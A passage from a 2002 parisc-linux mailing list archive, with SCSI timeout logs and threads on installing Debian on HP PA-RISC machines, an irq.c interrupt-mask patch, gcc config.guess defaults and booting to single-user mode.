sym53c8xx_abort: pid=200773 serial_number=200775
serial_number_at_timeout=200775
scsi : aborting command due to timeout : pid 200774, scsi0, channel 0,
id 2, lun 0 Write (10) 00 00 d0 51 b8 00 00 08 00
sym53c8xx_abort: pid=200774 serial_number=200776
serial_number_at_timeout=200776
scsi : aborting command due to timeout : pid 200775, scsi0, channel 0,
id 0, lun 0 Write (10) 00 00 40 4a 38 00 00 18 00
sym53c8xx_abort: pid=200775 serial_number=200777
serial_number_at_timeout=200777
scsi : aborting command due to timeout : pid 200776, scsi0, channel 0,
id 2, lun 0 Write (10) 00 01 b0 38 e0 00 00 08 00
sym53c8xx_abort: pid=200776 serial_number=200778
serial_number_at_timeout=200778
scsi : aborting command due to timeout : pid 200777, scsi0, channel 0,
id 2, lun 0 Write (10) 00 00 04 2d 80 00 00 08 00
sym53c8xx_abort: pid=200777 serial_number=200779
serial_number_at_timeout=200779
scsi : aborting command due to timeout : pid 200778, scsi0, channel 0,
id 2, lun 0 Write (10) 00 01 1c 5b 90 00 00 08 00
sym53c8xx_abort: pid=200778 serial_number=200780
serial_number_at_timeout=200780
scsi : aborting command due to timeout : pid 200779, scsi0, channel 0,
id 2, lun 0 Write (10) 00 00 d0 52 c0 00 00 08 00
sym53c8xx_abort: pid=200779 serial_number=200781
serial_number_at_timeout=200781
SCSI host 0 abort (pid 200780) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=200780 reset_flags=2 serial_number=200782
serial_number_at_timeout=200782
SCSI host 0 abort (pid 201014) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=201014 reset_flags=2 serial_number=201016
serial_number_at_timeout=201016
SCSI host 0 abort (pid 201161) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=201161 reset_flags=2 serial_number=201163
serial_number_at_timeout=201163
SCSI host 0 abort (pid 201174) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=201174 reset_flags=2 serial_number=201176
serial_number_at_timeout=201176
SCSI host 0 abort (pid 201187) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=201187 reset_flags=2 serial_number=201189
serial_number_at_timeout=201189
SCSI host 0 abort (pid 201200) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=201200 reset_flags=2 serial_number=201202
serial_number_at_timeout=201202
SCSI host 0 abort (pid 201213) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=201213 reset_flags=2 serial_number=201215
serial_number_at_timeout=201215
SCSI host 0 abort (pid 201226) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=201226 reset_flags=2 serial_number=201228
serial_number_at_timeout=201228

---------

And so on and so on like this. Grant has mentioned that the termination
or SCSI cables could be an issue, but as I have no replacements for this
box I cant really test this out. Before I applied the irq.c patch, the
box would panic just running dbench on one single disk.

If anyone has any ideas or possible solutions on what could be causing
this, I'd *love* to hear them. If you need any further details, just let
me know.

I've also tried compiling the Qlogic ISP (we have bunch of these cards
lying around from our SGI boxes) scsi driver but it doesn't want to
compile on PA-RISC. Are there any other SCSI cards which are known to
compile under PA-RISC? I was thinking I could then leave just the root
disk on the core I/O board and use another SCSI controller for the other
3 disks. Is this possible?

Cheers, James


-- 
James Braid
System Administrator
Peace Software
Ph:		+64 9 373 0400
Email:	james.braid@peace.com




From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Try to boot b2000 failled?
Date: Thu, 16 May 2002 09:09:10 +0200 (CEST)
Lines: 122
Approved: news@gmane.org
Message-ID: <1021532950.3ce35b165180a@webmail.tiscali.be>
References: <F341E03C8ED6D311805E00902761278C0CD12BEA@xfc04.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621294 7220 80.91.229.3 (22 Nov 2014 01:54:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:54 +0000 (UTC)
Cc: "'joel.soete@freebel.net'" <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: "EVERSON,SETH (HP-Loveland,ex1)" <seth_everson2@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 01:09:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71D46482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 01:09:14 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 178FNu-0008RJ-00; Thu, 16 May 2002 09:09:10 +0200
In-Reply-To: <F341E03C8ED6D311805E00902761278C0CD12BEA@xfc04.fc.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14774

Hi Seth,

Simple and efficent (why making complex when we can do simple :) )

Many thanks,
Joel

Quoting "EVERSON,SETH (HP-Loveland,ex1)" <seth_everson2@hp.com>:

> Joel -
> 
> Here is what I've been doing to install debian on my C3600 and J5000. 
> No 
> need for network or anything:
> 
> 1.  Copy the file LIFIMAGE in the disks-hppa directory to a CD-ROM
> 2.  Boot a HP-UX 10 or 11 cd
> 3.  Go to the installer, and go to a recovery console.
> 4.  Load 'dd' and 'mount'.  This will get dd and all the mount files.
> 5.  Go to a shell.
> 6.  Mount /dev/dsk/c0t0d0 to /mnt with mount -t cdfs 
> 7.  Go to /mnt, then do a 'dd if='LIFIMAGE;1' of=/dev/dsk/cXtYdZ
> bs=2048'  
>     where x, y, and z are your target scsi hard disk.  
> 8.  Reboot the machine, and boot the scsi hard disk you just targeted.
> 9.  Interact with the IPL, and your done.
> 
> The great thing is, everything gets loaded into RAM.  So, when you
> start
> the install, just partition both drives like normal, and install.  Just
> 
> make sure you do everything right the first time, or you'll have to
> repeat
> the process.
> 
> -Seth
> 
> -----Original Message-----
> From: joel.soete@freebel.net [mailto:joel.soete@freebel.net]
> Sent: Tuesday, May 14, 2002 9:03 AM
> To: joel.soete@freebel.net
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Try to boot b2000 failled?
> 
> 
> Oops... I find back a kernel pa12 and this boot better until it panics
> because of:
> ...
> root fs not found
> ...
> 
> So I suspect a mistake in the bootp-tftp config.
> In fact I would like to mount my palinux-0.9-3 cd on b180:/cdrom and use
> it
> as
> root fs to install the b2000.
> Unfortunately i do not find any example to do this. Is somebody can
> share
> its
> experience.
> 
> Thanks in advance for additionale help,
>     Joel
> 
> Quoting joel.soete@freebel.net:
> 
> > Hi all,
> > 
> > To split my gcc-3.2 and gcc-3.1 env on two different server (need
> disk
> > space
> > also), I would like to install a free b2000 workstation.
> > 
> > To do this i choose lan install (no possibilty for external
> scsi-cdrom
> > and no
> > more place to rebuild a new cdimage with recent kernel); I configure
> my
> > palinux
> > b180 as bootp-tftp server and configure in accordance with
> >
> http://pateam.esiee.fr/parisc-linux-boot/parisc-linux-boot/preparation.html.
> > 
> > In b2000 BOOT_ADMIN> boot lan, the lifimage (build with cvs palo &
> > kernel
> > 2.4.18-24 which boot well on my b180) is well found and launched but
> > hang just
> > after "Searching for devices..." and the green light on the ide
> cd-rom
> > driver
> > stay lighted?
> > 
> > Thanks in advance for help,
> >     Joel
> > 
> > 
> > -------------------------------------------------
> > This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .cup.hp.com LinuxCOE mirror
Date: Thu, 16 May 2002 09:30:23 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <1021534223.3ce3600fe4e1b@webmail.tiscali.be>
References: <20020515060602.87E5D482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621294 7221 80.91.229.3 (22 Nov 2014 01:54:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 01:30:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBFE2482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 01:30:26 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 178FiR-0000BS-00; Thu, 16 May 2002 09:30:23 +0200
In-Reply-To: <20020515060602.87E5D482A@dsl2.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14775

Hi Grant,

Quoting Grant Grundler <grundler@dsl2.external.hp.com>:

> 
> HP folks in Cupertino: LinuxCOE is now locally available!
> I've set up a full Debian mirror and parts of RH.
> Tell me if something you need from LinuxCOE is missing.
> I still have some 20GB available.
> 
> Debian folks can point sources.list to 
> 
> 	http://debian.cup.hp.com/LinuxCOE/Debian
> 	ftp://debian.cup.hp.com/LinuxCOE/Debian

Any chance to be publicaly accesible?

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] config.guess default for parisc64
Date: Thu, 16 May 2002 11:36:38 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200205161536.g4GFadsu016202@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621295 7225 80.91.229.3 (22 Nov 2014 01:54:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 09:36:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2B32482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 09:36:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4GFaeFN016204
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 11:36:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4GFadsu016202
	for parisc-linux@lists.parisc-linux.org; Thu, 16 May 2002 11:36:39 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14776

The config.guess default for parisc64 seems wrong to me.  The current
default is hppa64-unknown-linux-gnu.  With gcc, this results in a
64bit compiler being built.  However, there isn't a 64bit userland :-(

Under hpux11, the default on a "wide" 64bit machine is hppa2.0w-hp-hpux11*.
This configuration results in a 32bit native compiler which is what
most people want.  If you want a 64bit compiler, you have to explicitly
specify the host/target as hppa64.

At the moment, it is not possible to switch from 32bit to 64bit with
a compiler runtime option.  I know this is possible on sparc but I
believe there have been issues with libraries.  Thus, I don't think
a single gcc compiler for parisc64 is likely in the near term.

I imagine this was discussed before but I think we would be better
off with hppa2.0w-unknown-linux-gnu as the default.  This would
indicate a 32bit PA 2.0 architecture running on a 64bit wide kernel.

What do people think?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] irq.c patch to fix lockups on recent kernels
Date: Thu, 16 May 2002 14:40:45 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20020516204045.D4E85482A@dsl2.external.hp.com>
References: <20020515134703.GY30370@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621295 7229 80.91.229.3 (22 Nov 2014 01:54:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 14:40:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D4E85482A; Thu, 16 May 2002 14:40:45 -0600 (MDT)
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Wed, 15 May 2002 06:47:03 PDT." <20020515134703.GY30370@tausq.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14777

Randolph Chung wrote:
> After talking to Grant about this, I'm not convinced this is the right
> fix. It seems like do_cpu_irq_mask is already called with eiem masked,
> so I'm not sure why masking it again might make a difference....

No. eiem == External Interrupt Enable Mask.
Only the I-bit is disabled when do_cpu_irq_mask() is entered.
Bits in the EIRR are already cleared by assembler code to indicate
we are handling those interrupts.
If any bits in EIRR are set when re-enabling I-bit (in PSW),
we should get another external interrupt.

In -pa17, I removed the mfctl/mtctl calls since I-bit is supposed
to be disabled to block *all* interrupts. But supposing some
driver calls cli() and re-enables interrupts in general, the
EIRR bits (ie interrupt "vectors" in ia64 speak) we are processing 
could run into the same problem that I saw with xtime_lock.
Thus, restoring the code I removed in -pa17 that mucks with eiem
would mask issues with sti/cli in the drivers.

Conversely, any interrupt handler sittin on the interrupt stack
for long periods of time will block stuff too...the symptoms I've
heard so far don't match this scenario though.

> Can someone more familiar with this part of the kernel please take a
> look?

The patch looks fine to me. I suspect it's masking
a problem with sti()/cli() usage someplace though.

thanks,
grant



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .cup.hp.com LinuxCOE mirror
Date: Thu, 16 May 2002 15:07:50 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20020516210750.B01844833@dsl2.external.hp.com>
References: <20020515060602.87E5D482A@dsl2.external.hp.com>  <1021534223.3ce3600fe4e1b@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621295 7232 80.91.229.3 (22 Nov 2014 01:54:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 15:07:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B01844833; Thu, 16 May 2002 15:07:50 -0600 (MDT)
In-Reply-To: Message from joel.soete@freebel.net 
   of "Thu, 16 May 2002 09:30:23 +0200." <1021534223.3ce3600fe4e1b@webmail.tiscali.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14778

joel.soete@freebel.net wrote:
> > 	http://debian.cup.hp.com/LinuxCOE/Debian
> > 	ftp://debian.cup.hp.com/LinuxCOE/Debian
> 
> Any chance to be publicaly accesible?

No chance. Sorry.
mirrors.kernel.org has a public mirror in the same geography.

The point of making this internal is to (a) improve the local link
rate to a mirror and (b) reduce the amount of traffic going through
HP's firewall.

grant



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] irq.c patch to fix lockups on recent kernels
Date: Thu, 16 May 2002 15:30:48 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20020516213048.DDE21482A@dsl2.external.hp.com>
References: <20020515134703.GY30370@tausq.org>  <20020516204045.D4E85482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621296 7234 80.91.229.3 (22 Nov 2014 01:54:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 15:30:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DDE21482A; Thu, 16 May 2002 15:30:48 -0600 (MDT)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Thu, 16 May 2002 14:40:45 MDT." <20020516204045.D4E85482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14779

Grant Grundler wrote:
> Only the I-bit is disabled when do_cpu_irq_mask() is entered.
> Bits in the EIRR are already cleared by assembler code to indicate
> we are handling those interrupts.
> If any bits in EIRR are set when re-enabling I-bit (in PSW),
> we should get another external interrupt.

I'm thinking we should:
o move the EIRR bit handling into do_cpu_irq_mask()
  (do_cpu_irq_mask() could loop until EIRR is zero).
o move I-bit handling into the entry.S assembly.

That way, EIRR and EIM handling is all in C and I-bit is all in asm.
That seems to make the most sense to me since EIRR/EIM are closely
related and I-bit is orthogonal to that.

grant



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting to single user mode?
Date: 16 May 2002 19:59:28 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <1021593568.2584.78.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621296 7236 80.91.229.3 (22 Nov 2014 01:54:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:56 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 17:59:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CDB5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 17:59:42 -0600 (MDT)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=castle.localnetsolutions.com)
	by smtp10.atl.mindspring.net with esmtp (Exim 3.33 #1)
	id 178V9c-0006mA-00
	for parisc-linux@lists.parisc-linux.org; Thu, 16 May 2002 19:59:29 -0400
Original-Received: from archimedes.localnetsolutions.com (archimedes.localnetsolutions.com [192.168.0.2])
	by castle.localnetsolutions.com (8.11.6/linuxconf) with ESMTP id g4GNxwT02025
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 19:59:58 -0400
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14780

I goofed and installed something I shouldn't have (x10) and now it
completely hangs the init process. How to I pass a "boot to single user
mode" parameter from the IPL/PALO loader?
-- 
James P. Kinney III   \Changing the mobile computing world/
President and CEO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint = 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7 






From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting to single user mode?
Date: 16 May 2002 20:05:42 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <1021593942.1992.80.camel@archimedes.localnetsolutions.com>
References: <1021593568.2584.78.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621296 7246 80.91.229.3 (22 Nov 2014 01:54:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:56 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 18:05:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADA98482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 18:05:44 -0600 (MDT)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=castle.localnetsolutions.com)
